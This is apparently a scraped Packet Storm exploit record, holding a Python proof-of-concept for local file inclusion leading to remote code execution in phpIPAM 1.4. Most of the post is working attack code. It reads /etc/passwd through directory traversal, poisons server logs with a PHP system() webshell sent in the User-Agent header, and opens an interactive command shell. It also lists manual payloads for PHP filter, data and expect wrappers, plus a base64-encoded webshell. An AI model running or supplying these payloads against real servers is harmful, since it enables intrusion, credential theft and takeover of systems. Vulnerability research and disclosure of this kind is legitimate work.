{“lastseen”:”2026-02-16T17:18:48″,”description”:”A critical local file inclusion vulnerability exists in in index.php in phpIPAM version 1.4. Attackers can exploit this to read sensitive system files and potentially perform remote code execution…”,”published”:”2026-02-16T00:00:00″,”modified”:”2026-02-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion”,”source”:””,”references”:””,”id”:”PACKETSTORM:215599″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”phpIPAM 1.4 LFI to RCE Exploit\\n \\n \\n =============================================================================================================================================\\n | # Title : phpIPAM 1.4 LFI to RCE Exploit\\n |\\n | # Author : indoushka\\n |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2\\n (64 bits) |\\n | # Vendor : https:\/\/github.com\/phpipam\/phpipam\/blob\/master\/index.php\\n |\\n \\n =============================================================================================================================================\\n \\n [+] Summary : A critical Local File Inclusion (LFI) vulnerability exists\\n in phpIPAM’s main index.php file due to insufficient input validation\\n when including page files. Attackers can exploit this to\\n read sensitive system files, potentially escalate to Remote Code Execution\\n (RCE),\\n and gain complete control of the server.\\n \\n \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n phpIPAM LFI to RCE Exploit\\n \\”\\”\\”\\n \\n import requests\\n import sys\\n import urllib.parse\\n \\n class phpIPAM_Exploit:\\n def __init__(self, target):\\n self.target = target.rstrip(‘\/’)\\n self.session = requests.Session()\\n \\n def check_lfi(self, path):\\n \\”\\”\\”\u0627\u062e\u062a\u0628\u0627\u0631 \u062a\u0636\u0645\u064a\u0646 \u0627\u0644\u0645\u0644\u0641\u0627\u062a\\”\\”\\”\\n params = {‘page’: path}\\n response = self.session.get(f\\”{self.target}\/index.php\\”,\\n params=params)\\n return response\\n \\n def exploit_proc_self_environ(self):\\n \\”\\”\\”\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \/proc\/self\/environ\\”\\”\\”\\n print(\\”[*] Testing \/proc\/self\/environ LFI…\\”)\\n \\n # \u0623\u0648\u0644\u0627\u064b: \u062d\u0642\u0646 PHP \u0641\u064a User-Agent\\n headers = {\\n ‘User-Agent’: ‘\\u003c?php system($_GET[\\”cmd\\”]); ?\\u003e’\\n }\\n \\n response = self.session.get(self.target, headers=headers)\\n \\n # \u062b\u0627\u0646\u064a\u0627\u064b: \u062a\u0636\u0645\u064a\u0646 \u0645\u0644\u0641 \u0627\u0644\u0633\u062c\u0644\\n log_paths = [\\n ‘\/var\/log\/apache2\/access.log’,\\n ‘\/var\/log\/httpd\/access_log’,\\n ‘\/var\/log\/nginx\/access.log’,\\n ‘\/proc\/self\/environ’,\\n ‘\/proc\/self\/fd\/0’\\n ]\\n \\n for path in log_paths:\\n print(f\\”[*] Trying {path}…\\”)\\n response = self.check_lfi(f\\”..\/..\/..\/..\/{path}\\”)\\n \\n if ‘PHP’ in response.text or ‘php’ in response.text:\\n print(f\\”[+] Possible LFI found: {path}\\”)\\n \\n # \u0627\u062e\u062a\u0628\u0627\u0631 \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0648\u0627\u0645\u0631\\n cmd_response = self.session.get(\\n f\\”{self.target}\/index.php\\”,\\n params={‘page’: f’..\/..\/..\/..\/{path}’, ‘cmd’:\\n ‘whoami’}\\n )\\n \\n if cmd_response.status_code == 200:\\n print(\\”[+] RCE successful!\\”)\\n return True\\n \\n return False\\n \\n def upload_and_include(self, php_code):\\n \\”\\”\\”\u0631\u0641\u0639 \u0648\u062a\u0636\u0645\u064a\u0646 \u0645\u0644\u0641 \u0645\u0624\u0642\u062a (\u0625\u0630\u0627 \u0643\u0627\u0646 \u0647\u0646\u0627\u0643 \u0631\u0641\u0639 \u0645\u0644\u0641\u0627\u062a)\\”\\”\\”\\n # \u0647\u0630\u0627 \u064a\u062a\u0637\u0644\u0628 \u062b\u063a\u0631\u0629 \u0631\u0641\u0639 \u0645\u0644\u0641\u0627\u062a \u0623\u064a\u0636\u064b\u0627\\n print(\\”[*] Trying to upload and include PHP file…\\”)\\n \\n # PHP shell base64 encoded\\n shell = \\”\\u003c?php echo\\n base64_decode(‘PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=’); ?\\u003e\\”\\n \\n # \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0636\u0645\u064a\u0646 \u0645\u0644\u0641\u0627\u062a \/tmp\\n tmp_files = [\\n ‘\/tmp\/sess_*’,\\n ‘\/tmp\/php*’,\\n ‘\/tmp\/upload*’\\n ]\\n \\n for pattern in tmp_files:\\n for i in range(100):\\n filename = pattern.replace(‘*’, str(i))\\n response = self.check_lfi(f\\”..\/..\/..\/..\/{filename}\\”)\\n if ‘uid=’ in response.text or ‘root’ in\\n response.text.lower():\\n print(f\\”[+] Found vulnerable temp file: {filename}\\”)\\n return filename\\n \\n return None\\n \\n def interactive_shell(self, lfi_path):\\n \\”\\”\\”\u0642\u0634\u0631\u0629 \u062a\u0641\u0627\u0639\u0644\u064a\u0629 \u0628\u0639\u062f \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\”\\”\\”\\n print(f\\”\\\\n[+] Interactive shell via LFI: {lfi_path}\\”)\\n print(\\”[+] Type ‘exit’ to quit\\\\n\\”)\\n \\n while True:\\n cmd = input(\\”shell\\”).strip()\\n if cmd.lower() == ‘exit’:\\n break\\n \\n params = {\\n ‘page’: f’..\/..\/..\/..\/{lfi_path}’,\\n ‘cmd’: cmd\\n }\\n \\n response = self.session.get(f\\”{self.target}\/index.php\\”,\\n params=params)\\n \\n # \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0644\u0646\u0627\u062a\u062c\\n lines = response.text.split(‘\\\\n’)\\n for line in lines:\\n if line and not line.startswith((‘\\u003c’, ‘\\u003c?’, ‘\\u003c!’)) and\\n ‘html’ not in line.lower():\\n print(line[:500]) # \u0637\u0628\u0627\u0639\u0629 \u0623\u0648\u0644 500 \u062d\u0631\u0641\\n \\n def run(self):\\n \\”\\”\\”\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\”\\”\\”\\n print(\\”[*] phpIPAM LFI\/RFI Exploit\\”)\\n print(f\\”[*] Target: {self.target}\\”)\\n \\n # \u0627\u062e\u062a\u0628\u0627\u0631 LFI \u0623\u0633\u0627\u0633\u064a\\n test_files = [\\n ‘..\/..\/..\/..\/etc\/passwd’,\\n ‘..\/..\/..\/..\/etc\/hosts’,\\n ‘..\/..\/..\/..\/windows\/win.ini’,\\n ‘….\/\/….\/\/….\/\/….\/\/etc\/passwd’,\\n ‘..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\windows\\\\\\\\win.ini’\\n ]\\n \\n for test in test_files:\\n print(f\\”[*] Testing: {test}\\”)\\n response = self.check_lfi(test)\\n \\n if ‘root:’ in response.text or ‘[extensions]’ in\\n response.text:\\n print(f\\”[+] LFI confirmed with: {test}\\”)\\n print(f\\”[+] Response preview: {response.text[:200]}\\”)\\n \\n # \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u0628\u0627\u0634\u0631\\n self.interactive_shell(test.replace(‘..\/..\/..\/..\/’, ”))\\n return True\\n \\n # \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0623\u062e\u0631\u0649\\n if self.exploit_proc_self_environ():\\n return True\\n \\n print(\\”[-] No LFI vulnerability found\\”)\\n return False\\n \\n # \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u064a\u062f\u0648\u064a\\n def manual_exploitation():\\n print(\\”\\”\\”\\n === phpIPAM LFI\/RFI Manual Exploitation ===\\n \\n 1. Basic LFI Test:\\n \/index.php?page=..\/..\/..\/..\/etc\/passwd\\n \/index.php?page=..\/..\/..\/..\/etc\/shadow\\n \/index.php?page=..\/..\/..\/..\/windows\/win.ini\\n \\n 2. Log Poisoning:\\n # Step 1: Inject PHP into logs\\n GET \/index.php HTTP\/1.1\\n User-Agent: \\u003c?php system($_GET[‘cmd’]); ?\\u003e\\n \\n # Step 2: Include the log file\\n \/index.php?page=..\/..\/..\/..\/var\/log\/apache2\/access.log\\u0026cmd=id\\n \\n 3. PHP Filters (if enabled):\\n \/index.php?page=php:\/\/filter\/convert.base64-encode\/resource=config.php\\n \/index.php?page=php:\/\/filter\/resource=\/etc\/passwd\\n \\n 4. Data URI (if allow_url_include=On):\\n \/index.php?page=data:\/\/text\/plain,\\u003c?php phpinfo();?\\u003e\\n \\n \/index.php?page=data:\/\/text\/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=\\n \\n 5. Expect Wrapper (rare):\\n \/index.php?page=expect:\/\/ls\\n \\”\\”\\”)\\n \\n if __name__ == \\”__main__\\”:\\n if len(sys.argv) != 2:\\n print(\\”Usage: python3 phpipam_exploit.py \\u003ctarget_url\\u003e\\”)\\n print(\\”Example: python3 phpipam_exploit.py\\n http:\/\/localhost\/phpipam\\”)\\n manual_exploitation()\\n sys.exit(1)\\n \\n target = sys.argv[1]\\n exploit = phpIPAM_Exploit(target)\\n exploit.run()\\n \\n \\n Greetings to\\n :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln\\n (John Page aka hyp3rlinx)|\\n \\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215599″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215599\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-16T17:18:48″,”description”:”A critical local file inclusion vulnerability exists in in index.php in phpIPAM version 1.4. Attackers can exploit this to read sensitive system files and potentially…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41048","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n